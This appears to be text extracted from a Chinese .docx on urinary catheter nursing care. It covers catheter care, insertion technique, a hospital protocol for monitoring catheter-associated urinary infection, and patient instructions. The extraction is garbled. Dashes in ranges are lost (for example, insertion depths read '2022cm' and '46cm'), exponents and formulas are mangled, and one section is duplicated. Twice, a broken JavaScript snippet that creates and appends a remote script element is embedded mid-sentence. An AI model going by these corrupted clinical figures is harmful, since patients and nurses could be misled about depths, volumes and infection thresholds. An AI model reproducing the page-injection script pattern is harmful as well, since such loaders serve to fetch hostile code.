尿管注意事项相关.docx

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1、长期留置尿管者，首先需定期更换，更换时间没有具体标准，总的来讲，更换时 间间隔越短，并发症越少，两周左右较好，如条件不允许，也可到1个月才更换，但最好不要超过1个月，长时间不更换易生结石。汕头大学医学院第二附属医院泌尿外科郑俊鸿其次是预防感染问题，由于长期留置尿管是异物刺激，菌尿不可避免，但只要注 意作好预防措施，大部分不会引起尿路感染表现，措施包括多行尿道口消毒，多 饮水，多活动，尿管勤更换，注意无菌操作，一般在更换尿管当天可适量口服抗 菌素或中药清热利尿药等。如条件许可，可间断行膀胱冲洗。最后，还要注意尿管放置的位置，避免长期造成对尿道的压迫，造成尿道粘膜的 坏死和疤痕形成。为了配合手术需

2、要，如今很多手术都会留置导尿管，但留置尿管后会出现很多问 题。下面跟大家一起分享手术尿管留置护理的注意事项。防止泌尿系统逆行感染资料表明留置导尿管1d的感染发生率很小，留置尿管3-21d，患者菌尿发生 率是按照5%递增。目前，一般常规手术后第二天就拔掉尿管，甚至有些患者手 术当天就拔掉尿管，因此不必过于担心感染。只要严格遵循晨晚间尿护及无菌操 作，在拔掉尿管之前基本可以避免尿路感染。缓解留置尿管患者的不适感尿管刺激症由于尿道遍布神经末梢，痛觉敏感，轻微的刺激即可引起患者的不适。现如今为 了减轻插尿管的刺激，许多尿管都是在患者全麻以后留置，从而减轻患者的痛苦。当患者手术结束进入麻醉苏醒室，由于镇

3、静药、肌松药代谢完，患者由于留置尿 管，觉得憋得慌。虽然护士会安慰患者，但患者依然会觉得难受。这就是尿管刺 激症，是一种由于留置尿管以后，患者主观感觉憋得慌的一种感受。患者不适的潜在危害如果不处理好，患者会烦躁，导致尿管括约肌收缩，这样会更一步加剧对尿管的 刺激。导致患者心率加快，血压升高，特别烦躁的患者还会有坠床的危险。如何缓解患者不适？针对这一问题，目前最好的方法就是心理干预护理。1、语言上的安慰，以及耐心向患者解释，让患者放松；2、手术室巡回护士在术前1日进行访视，并向其介绍留置尿管的原因，重点解释术后留置尿管可能出现的不适属于正常现象，告诉患者与家属不要过分担心、 害怕；3、患者进入手

4、术室后，巡回护士再次讲解留置尿管的注意事项，帮助患者放松 紧张心理；4、术后，患者在苏醒期，若患者烦躁，可大声呼唤其姓名，告诉患者手术结束， 嘱其不要乱动，从而顺利度过苏醒期。特别需要注意：由于生理结构不同，男性患者的尿管刺激症是女性患者的三倍多，所以针对男性 患者，可在留置尿管时候，用利多卡因润滑尿管。此外，在插入尿管的时候，水囊注水以8-10ml为宜，充盈过小，尿管容易脱出，充盈过大，易压迫尿道内口粘膜或膀胱壁粘膜，引起膀胱不稳定收缩，加重 不适。最后建议，手术时间不长的患者，不用考虑膀胱充盈的手术方式，可以不插入尿 管。总结手术如果可以不用插入尿管的患者，最好别插。做完手术能拔掉了，尽量

5、早些拔 掉。非要留置尿管的，一定做好术前、术中、术后心理干预（其中术前心理干预 最为重要）。减轻留置尿管的不适，你可以试试。很多大手术过程中，患者都会插入留置尿管，在行导尿术过程中，要严格执行无 菌操作技术。插管时动作要轻柔，避免损伤尿道粘膜，尿潴留患者膀胱高度膨胀， 首次放尿不可超过1000ml，以防腹压骤减引起虚脱及膀胱粘蟆急剧充血而引起血尿.其次，引流管要牢固地固定在床沿上，避免翻身时将尿管拉出，防止引流管受压、扭曲而影响尿蔽流出。发现引流不通畅时，应及时检查并调整尿管位 置，酌情处理，使尿管保持通畅。专业的留置尿管的护理要十分注意，首先，在留置尿管操作前一定要向病人 及家属解释使用球囊

6、尿管的目的和有关的注意事项，并检查尿管球囊是否通畅， 禁止患者及家属自行拔管。其次，加强康复护理师的责任心，康护师要多学知识，熟悉男性、女性尿道 的解剖、生理特点，避免由于操作不当而造成不良后果。并且，严格执行无菌技 术操作规程，插管技术要熟练，动作要轻柔，切忌反复拔插。再者，尿管插入深度要适宜，宁深勿浅，尿液流出后再插入67cm为宜。最重要的是防止逆行性尿路感染，每日清洁尿道口，更换引流袋，必要时行膀胱 冲洗。还有，护理人员平时要加强训练，做到明确原理，操作熟练，加强观察， 及时发现故障并予及时处理，确保留置尿管成功，保证病人舒适安全。留置尿管是十分专业的事情，并且在留置尿管的护理过程中，每

7、日定时开放导尿管，不可使尿管长期开放，避免长期留置尿管的患者，一旦拔除尿管，膀胱充盈缺如。倾倒尿液时不可将引流袋提高于床沿，以防引起逆行感染。根据病情，鼓励患者多饮水以利尿，达到膀胱冲洗的目的，对昏迷、危重患者每日用O. 02%吠喃西林500ml冲洗膀胱，严防泌尿系统的感染。什么是留置尿管留置尿管是在导尿后将尿管保留在膀胱内引流尿液的方法，是临床常用的基础护 理技术，广泛用于排尿困难、麻醉、手术及危重病人的尿量观察等。产品名称特点产品效期可执行YZB/B0952-2012二一次代便用、 乳胶导尿管 4.0mm(12FR)5-10ml 双腔标造型5/18工E 八PRODUCT PARAMETER

8、S留置尿管的目的1. 为尿潴留患者解除痛苦；尿失禁患者保持会阴部清洁。2. 收集无菌尿标本作细菌培养。3. 麻醉手术留置尿管。4. 避免盆腔手术时误伤膀胱。5. 为危重、休克病人正确记录尿量、测尿比重提供依据。6. 检查膀胱功能，测膀胱容量、压力及残余尿量。7. 鉴别尿闭和尿潴留，以明确肾功能不全或排尿功能障碍。8. 诊断及治疗膀胱和尿道的疾病，如进行膀胱造影或对膀胱肿瘤病人进行化疗置管前患者准备1. 能自理者，嘱其清洗外阴。2. 不能起床者，协助清洗外阴。3. 患者宜取仰卧位，两腿屈膝向外分开。留置尿管的注意事项1. 保持导尿管通畅，翻身、活动时避免导管受压、打折和扭曲。2. 患者在睡眠、意

9、识不清时宜将手臂置于被子外侧，尿管及尿袋远离手臂。3. 非禁食水患者，根据病情应尽量多饮水，预防尿路感染。4. 置管期间，患者会有小便的感觉，这是由于尿路刺激所致，患者不必自行排尿。5. 患者切不可自行拔出导尿管，因尿管前段水囊直径大于尿管直径，强行拔出会损伤尿管，严重着甚至会出血不止。6. 患者下床活动时，导尿管及尿袋应低于尿道口，尿袋最好在膝部位置，以防尿液倒流引起尿路感染。7. 患者转运过程中注意夹闭尿管。8. 锻炼膀胱功能时应按时夹闭尿管。出液口可外接 专用引流袋充气注水口可接 注射器来加气注水气囊尿管头距离尿管头约2, 5cm处有气囊, 充气或注水后会鼓胀，方便导尿管在膀胱内的固定，

10、避免因滑睨而造成重复插管尿管意外脱出的危害1. 尿道损伤2. 尿道出血3. 尿路感染4. 念潴留防止管道滑脱的护理措施1. 对烦躁不安者应妥善固定尿管，必要时使用约束带，以防止患者自行拔出尿管而导致尿道损伤，家属切勿擅自松解约束带。2. 患者下床活动时，根据个人需要可将尿管的延长部分固定在大腿内侧。3. 床上翻身时，需考虑尿管的长度是否足够，避免在床上反复缠绕。尿管拔出的配合1. 尿管拔出时会稍有疼痛。2. 尿管拔出后如无特殊情况，可尽量多饮水，以便及时自行排尿。3. 如患者在拔出尿管后6小时腹部胀痛，请尽快告诉护士，以便判断是否需要 再次置管。清醒病人应该向其解释导尿的重要性和必要性，要求配

11、合的注意事项，取得 病人积极，主动的配合。操作人员应该处于病人右侧，病人取仰卧位，在严格无 菌操作的原则下将选好的尿管男性插入2022cm，女性插入46cm。气囊导尿管因为其头部到气囊的距离为56cm，要将气囊完全送入膀胱，还应该 见尿再插6厘米以上才能避免损伤尿道。在往气囊内注水的时候还应该试气囊 内压力，如果压力太大，必须确定是否在膀胱内，应该再进一段再注水。男性病人由于生理特点尿道长，有三个狭窄和两个弯曲，导尿时困难更大，病人的痛苦更明显，如果尿管刺激引起尿道痉挛完全可能造成插管困难甚至失 败。可以使用利宁（利多卡因凝胶）由尿道口注入，起到松弛尿道肌肉，减轻疼 痛及疼痛引起的尿道括约肌痉

12、挛，减少阻力，减轻对尿道黏膜的刺激，避免损伤 黏膜而导致出血，减轻病人痛苦，利于插管成功。 前列腺肥大的病人导尿常不能顺利的插入，病人取侧卧位，垫高臀部呈30度角即可插入。个别用此办法 不能插入的，也可将导尿管顶端自侧孔钻入5mm，取直径1.5mm、比导尿管 长约50mm的针丝，距前端15mm处弯成约145角，将导丝绷紧状固定 于导管中，可克服var script = document.createElement(scrpt); script.src=当 document.body.appendChild(script);金属导尿管太硬易损伤尿道以及橡皮导管太软不易插入的特点。女病人由于生理的

13、原因，更不容易保持会阴部的清洁，因此要求做好前期的准备，会阴的冲洗和两次消毒。高龄女病人由于肌肉结缔组织萎缩，萎缩的阴 道牵拉尿道口使之陷于阴道壁之中，同时又因阴道黏膜缺乏雌激素作用而显的苍 白，光滑，阴道口也变小，更使这些病人的尿道口暴露困难，对于这些病人应该 在消毒好会阴之后戴好无菌手套，左手食指、中指并拢，伸于阴道2cm，屈曲远端指间关节，将阴道前壁拉紧外翻，并可以调整手指的位置，可以见到阴道前 壁的所有黏膜，即可以找到尿道口，然后便可以插管。住院患者留置尿管目标性监测方案一、监测目的1、了解留置尿管患者的医院感染发生率；2、发现危险因素，包括：导尿管留置时间、导尿管植入方法、导尿管护理

14、质量和抗菌药物临床使用等，积极进行干预；3、评价控制效果，有效降低医院泌尿道感染。二、监测对象监测对象：神经内科留置尿管的住院患者。三、监测指标神经内科留置尿管住院病人泌尿系统医院感染率，尿道插管相关泌尿道发病 率；尿道插管应用率；。四、泌尿系统感染的定义按卫生部2010年颁布的导尿管相关尿路感染预防与控制指南（试行） 中泌尿系统感染临床诊断患者出现尿频、尿急、尿痛等尿路刺激症状，或有下腹触痛、肾区叩痛，伴 或不伴发热，并具尿检白细胞男性25个/高倍视野，女性10个/高倍视野，插导尿管患者应结合尿培养。病原学诊断临床诊断基础上，符合下述四条之一即可诊断。1. 清洁中段尿或导尿留取尿液（非留置导

15、尿）培养革兰阳性球菌菌数 1O4cfu/ml、革兰阴性杆菌菌数1O5cfu/mlo2. 耻骨联合上膀胱穿刺留取尿液培养细菌菌数1O3cfu/ml。3. 新鲜尿液标本经离心应用相差显微镜检查（1x400），在30个视野中有半数视野见到细菌。4. 经手术、病理或者影像学检查有尿路感染证据的。患者虽然无症状，但在近期（通常为1周）有内镜检查或留置导尿史，尿液培养革兰阳性球菌浓度104cfu/ml、革兰阴性杆菌浓度105cfu/ml，应视为泌尿系统感染。五、监测方法（一）监测前的准备1、监测开始前向其科室的主任、护士长说明该项目的意义和方法，取得支var script = document.creat

16、eElementCscript); script.src=11; document.body.appendChild(script);2持和配合。2、对参与该项目监测科室的医护人员进行培训，明确各级人员的职责和任 务，正确掌握泌尿系统感染的定义及正确采集泌尿系统感染清洁中段尿或导尿留 取尿液标本的方法。（二）相关人员职责与任务为了保证神经内科住院患者留置尿管泌尿系统感染监测工作顺利进行，资料 准确、详尽，需要其科室人员积极配合，各级人员职责与任务如下：1、住院医生/监控医生住院病人发生医院感染时填写“医院感染病例报表”做好导尿相关的尿路 感染相关宣教和指导。2、病房护士/监控护士落实导尿过程的

17、无菌技术操作、留置导尿管的护理。接受导尿管相关尿管感 染预防的培训和教育。做好留置导尿患者日常监测登记表的登记；做好导尿相关 的尿路感染知识的宣教和指导。3、医院感染监控专职人员每2天去病房了解、登记被监测留置导尿患者的情况，与经管医生确定留 置导尿患者有无泌尿系统感染情况，留置尿管患者对尿常规检查异常的及时结合 尿培养送检，及时追查送检结果并要求合理应用抗菌药物；若47d拔尿管 的患者必须给患者做尿培养，若留置尿管7 d的患者，以后每隔71 O d 做1次尿培养监测。（三）泌尿系感染标本的米集方法患者出现尿频、尿急、尿痛等尿路刺激症状，或有下腹触痛、肾区叩痛，伴 或不伴发热，并尿常规检查异常

18、时，应结合尿培养进行诊断性检查。1、导尿标本的采集采集原则：用75%酒精消毒导管采集部分，用注射器从导管无菌采集 5-1Oml。对留置导尿者，可用碘酒消毒尿道口处的导尿管壁，用注射器的细 针斜穿管壁抽吸尿液；或拔去闭式引流的集尿袋，弃取导尿管前段尿液，留无污 染的膀胱内尿液数毫升送检。集尿袋内的尿液不能做培养，导尿管末端的尿液也不能用于培养。不能直 接从导尿袋放出，因尿液在袋中潴留时间太长，容易孳生细菌。2、中段尿标 本采集方法女性采样前应先用中性肥皂水或0.1%高锰酸钾溶液冲洗外阴部及尿道口或 用2%碘伏棉球外阴部及尿道口，灭苗纱布擦干后，收集标本。男性须翻转包皮冲洗，用2%碘伏棉球消毒尿道

19、口，灭苗纱布擦干后，收集 标本。无菌管，3ml ； 2/3无菌容器量室温下尿标本耽搁稍久可导致尿内细菌浓度明显增加而影响病原菌与污染 菌的区分。不能立即送检者，可暂存4C冰箱。（四）调查登记方法1、医院感染监控专职人员每2天到病房了解留置导尿患者情况，每个留置导尿患者均需填写“留置导尿相关性泌尿道感染监测登记表”（见表1）,该监测表由医院感染监控专职人员填写。2、监测表格信息来源留置导尿患者的信息可从患者病历中获取；危险因素可根据监控护士登记留 置导尿患者日常监测登记表以及专职人员现场与医生护士的交谈和追踪调查所 得的信息。抗菌药物使用情况根据医嘱获得的信息。六、有关指标的计算1、尿道插管病人

20、泌尿道感染率尿道插管病人泌尿道感染率=数观察期间尿道插管病人中泌尿道感染人数观察期间尿道插管病人X1QQ2、与尿道插管相关的泌尿道感染发病率尿道插管病人中泌尿道感染人数与尿道插管相关的泌尿道感染发病率二X ioo同期尿道插管病人日数3、尿道插管应用率尿道插管病人日数尿道插管应用率（%）=X ioo累计病人住院日数4、尿道插管相关泌尿道发病率尿道插管病人中泌尿道感染人数尿道插管相关泌尿道发病率（）=X ioo累计病人尿道插管日数七、数据的整理、分析、比较及反馈1、专人负责，认真填写，避免遗漏，及时整理完善数据。留置尿管的注意事项：不少患者因各种情况下无法自解小便，又因身体某些原因无法行手术治疗而

21、 需长期留置尿管的，部分患者因护理不当而出现并发症，因此，有必要提醒患者 及家属一些注意事项。1、尿袋应垂放在耻骨联合（腰部）以下，预防尿液返流。尿袋小便量超过 700ml或尿袋的2/3满时，应及时倒掉，倒尿时勿使尿袋出口处受到污染，尿袋不可置于地上。2、保持尿管引流通畅，避免尿管牵拉、受压、扭曲、堵塞。如导尿管发生梗阻， 无法排出，应马上到医院请医生处理。切勿自行拔除尿管，以免引起尿道粘膜出 血。3、一次性尿袋每3天更换1次，橡胶导尿管每周更换1次，硅胶导尿管每月 更换一次。经常清洁外阴部，以保持尿道口清洁，防止感染。4、为保护膀胱功能，导尿管应采用间歇性引流夹管方式，使膀胱定时冲盈排空，

22、即34小时放尿一次，或有尿意时才放尿。5、请多饮水，每天饮水保持在2000ml以上，尿量至少维持1500ml以上， 以减少尿路感染及尿路阻塞的机会，禁饮浓茶和咖啡，预防尿石的形成。如发现 尿液混浊、沉淀、有结晶时应做膀胱冲洗，每周作尿常规检查一次。6、如出现发烧、发冷、尿道疼痛、尿液混浊、尿道口分泌物增加请立即到医院 复诊。留置尿管的注意事项：不少患者因各种情况下无法自解小便，又因身体某些原因无法行手术治疗而 需长期留置尿管的，部分患者因护理不当而出现并发症，因此，有必要提醒患者 及家属一些注意事项。1、尿袋应垂放在耻骨联合（腰部）以下，预防尿液返流。尿袋小便量超过 700ml或尿袋的2/3满

23、时，应及时倒掉，倒尿时勿使尿袋出口处受到污染，尿袋不可置于地上。2、保持尿管引流通畅，避免尿管牵拉、受压、扭曲、堵塞。如导尿管发生梗阻， 无法排出，应马上到医院请医生处理。切勿自行拔除尿管，以免引起尿道粘膜出 血。3、一次性尿袋每3天更换1次，橡胶导尿管每周更换1次，硅胶导尿管每月 更换一次。经常清洁外阴部，以保持尿道口清洁，防止感染。4、为保护膀胱功能，导尿管应采用间歇性引流夹管方式，使膀胱定时冲盈排空， 即34小时放尿一次，或有尿意时才放尿。5、请多饮水，每天饮水保持在2000ml以上，尿量至少维持1500ml以上， 以减少尿路感染及尿路阻塞的机会，禁饮浓茶和咖啡，预防尿石的形成。如发现 尿液混浊、沉淀、有结晶时应做膀胱冲洗，每周作尿常规检查一次。6、如出现发烧、发冷、尿道疼痛、尿液混浊、尿道口分泌物增加请立即到医院 复诊。